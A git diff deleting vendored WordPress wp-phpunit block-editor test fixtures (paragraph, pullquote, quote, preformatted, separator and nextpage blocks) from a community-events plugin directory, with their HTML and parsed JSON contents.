a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.serialized.html deleted file mode 100644 index beef64eb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.server.html deleted file mode 100644 index 69cf4370..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.html deleted file mode 100644 index d41481a5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          ... like this one, which is separate from the above and right aligned.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.json deleted file mode 100644 index 079d9a70..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "... like this one, which is separate from the above and right aligned.", - "align": "right", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "

          ... like this one, which is separate from the above and right aligned.

          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json deleted file mode 100644 index e0c2ab7b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/paragraph", - "attrs": { - "align": "right" - }, - "innerBlocks": [], - "innerHTML": "\n

          ... like this one, which is separate from the above and right aligned.

          \n", - "innerContent": [ "\n

          ... like this one, which is separate from the above and right aligned.

          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html deleted file mode 100644 index 3e18265b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          ... like this one, which is separate from the above and right aligned.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html deleted file mode 100644 index 1db164ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__align-right.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          ... like this one, which is separate from the above and right aligned.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.html deleted file mode 100644 index 96ec545b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.html +++ /dev/null @@ -1,3 +0,0 @@ - -Unwrapped is still valid. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.json deleted file mode 100644 index ce0f468e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Unwrapped is still valid.", - "dropCap": false - }, - "innerBlocks": [], - "originalContent": "Unwrapped is still valid." - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json deleted file mode 100644 index e6b914e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/paragraph", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\nUnwrapped is still valid.\n", - "innerContent": [ "\nUnwrapped is still valid.\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html deleted file mode 100644 index ddc0a9d9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          Unwrapped is still valid.

          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html deleted file mode 100644 index d029bd55..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__paragraph__deprecated.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -Unwrapped is still valid. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.html deleted file mode 100644 index 1a890a7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          Some preformatted text...
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.json deleted file mode 100644 index 290c7e98..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/preformatted", - "isValid": true, - "attributes": { - "content": "Some preformatted text...
          And more!" - }, - "innerBlocks": [], - "originalContent": "
          Some preformatted text...
          And more!
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.parsed.json deleted file mode 100644 index c7849707..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/preformatted", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          Some preformatted text...
          And more!
          \n", - "innerContent": [ "\n
          Some preformatted text...
          And more!
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.serialized.html deleted file mode 100644 index 8c7cf539..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          Some preformatted text...
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.server.html deleted file mode 100644 index 438c162a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__preformatted.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          Some preformatted text...
          And more!
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.html deleted file mode 100644 index 87bd8b74..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.html +++ /dev/null @@ -1,7 +0,0 @@ - -
          -
          -

          Testing pullquote block...

          ...with a caption -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.json deleted file mode 100644 index 5cf12648..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/pullquote", - "isValid": true, - "attributes": { - "value": "

          Testing pullquote block...

          ", - "citation": "...with a caption" - }, - "innerBlocks": [], - "originalContent": "
          \n
          \n

          Testing pullquote block...

          ...with a caption\n
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.parsed.json deleted file mode 100644 index 033b311f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/pullquote", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          \n
          \n

          Testing pullquote block...

          ...with a caption\n
          \n
          \n", - "innerContent": [ "\n
          \n
          \n

          Testing pullquote block...

          ...with a caption\n
          \n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.serialized.html deleted file mode 100644 index 6ef32095..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          Testing pullquote block...

          ...with a caption
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.server.html deleted file mode 100644 index 8103cf6f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote.server.html +++ /dev/null @@ -1,7 +0,0 @@ - -
          -
          -

          Testing pullquote block...

          ...with a caption -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html deleted file mode 100644 index eace1153..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.html +++ /dev/null @@ -1,9 +0,0 @@ - -
          -
          -

          Paragraph one

          -

          Paragraph two

          - by whomever -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json deleted file mode 100644 index 81c058e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/pullquote", - "isValid": true, - "attributes": { - "value": "

          Paragraph one

          Paragraph two

          ", - "citation": "by whomever" - }, - "innerBlocks": [], - "originalContent": "
          \n
          \n

          Paragraph one

          \n

          Paragraph two

          \n by whomever\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json deleted file mode 100644 index fe8abfce..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/pullquote", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          \n
          \n

          Paragraph one

          \n

          Paragraph two

          \n by whomever\n\t
          \n
          \n", - "innerContent": [ "\n
          \n
          \n

          Paragraph one

          \n

          Paragraph two

          \n by whomever\n\t
          \n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html deleted file mode 100644 index 333b051f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          Paragraph one

          Paragraph two

          by whomever
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html deleted file mode 100644 index b1d00537..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__pullquote__multi-paragraph.server.html +++ /dev/null @@ -1,9 +0,0 @@ - -
          -
          -

          Paragraph one

          -

          Paragraph two

          - by whomever -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.html deleted file mode 100644 index 4bfd0ef8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.json deleted file mode 100644 index cd8d15bc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/quote", - "isValid": true, - "attributes": { - "value": "

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          ", - "citation": "Matt Mullenweg, 2017" - }, - "innerBlocks": [], - "originalContent": "

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json deleted file mode 100644 index 6a873438..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/quote", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          \n", - "innerContent": [ "\n

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html deleted file mode 100644 index 4268c413..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.server.html deleted file mode 100644 index 9bfb5f14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-1.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          The editor will endeavour to create a new page and post building experience that makes writing rich posts effortless, and has “blocks†to make it easy what today might take shortcodes, custom HTML, or “mystery meat†embed discovery.

          Matt Mullenweg, 2017
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.html deleted file mode 100644 index d4ecdca3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.json deleted file mode 100644 index 300770c7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/quote", - "isValid": true, - "attributes": { - "value": "

          There is no greater agony than bearing an untold story inside you.

          ", - "citation": "Maya Angelou", - "className": "is-style-large" - }, - "innerBlocks": [], - "originalContent": "

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json deleted file mode 100644 index 6470afbc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.parsed.json +++ /dev/null @@ -1,18 +0,0 @@ -[ - { - "blockName": "core/quote", - "attrs": { - "className": "is-style-large" - }, - "innerBlocks": [], - "innerHTML": "\n

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          \n", - "innerContent": [ "\n

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html deleted file mode 100644 index b257de24..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.server.html deleted file mode 100644 index 0a58628d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__quote__style-2.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -

          There is no greater agony than bearing an untold story inside you.

          Maya Angelou
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.html deleted file mode 100644 index d835a483..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.json deleted file mode 100644 index 12a687c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/separator", - "isValid": true, - "attributes": {}, - "innerBlocks": [], - "originalContent": "
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.parsed.json deleted file mode 100644 index 48a8e742..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/separator", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n
          \n", - "innerContent": [ "\n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.serialized.html deleted file mode 100644 index cb5aeea7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__separator.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - -
